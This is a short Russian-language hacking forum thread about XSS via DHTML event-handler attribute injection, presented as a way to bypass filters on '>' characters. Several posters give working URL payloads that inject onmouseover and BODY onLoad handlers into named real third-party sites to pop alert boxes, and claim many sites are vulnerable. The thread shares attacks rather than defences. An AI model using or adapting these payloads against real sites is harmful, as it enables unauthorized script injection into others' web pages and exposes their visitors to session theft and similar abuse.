DHTML inj (XSS)

[Bo0oM]

Чисто для общего развития.

Не многие знают об этой уязвимости, действует как пассивная или активная XSS при работе с DHTML (динамическим html), реагирует на одно из событий, например onMouseOver - возникает при наведении курсора мыши на элемент, подверженный уязвимости. (другие события DHTML и примеры их использования тут (http://design.originweb.info/dhtml.html))

Полезно при фильтрации символов ">" и "[B]XSS не проёдет

Примеры формирования (алерт при наведении мыши на текст):


Code:
http://javagala.ru/dwnld/index.php/" onmouseover=alert() bad="



Code:
http://javagala.ru/dwnld/index.php/"onmouseover=alert()%3E

После детального изучения выяснилось, что большое количество сайтов подвержено данной уязвимости.

Вот так вот...

[Isis]

О чем "статья" ?

[ok-man]

это обычный хсс, в каждой статье о пробиве фильтров говорится

[<Cyber-punk>]

http://bookz.ru/dl2.php?id=12306&e=%20'';!--%22%3CBODY%20onLoad=%22javascript:window.alert('ha cked')%22%3E=&{()}&t=z&g=&f=pushki54&a_id=1193


Аналогично!

Но можно проще:


http://javagala.ru/dwnld/index.php/%22;!--%22%3CBODY%20onLoad=%22javascript:window.alert('ha cked')%22%3E=&%7B()%7D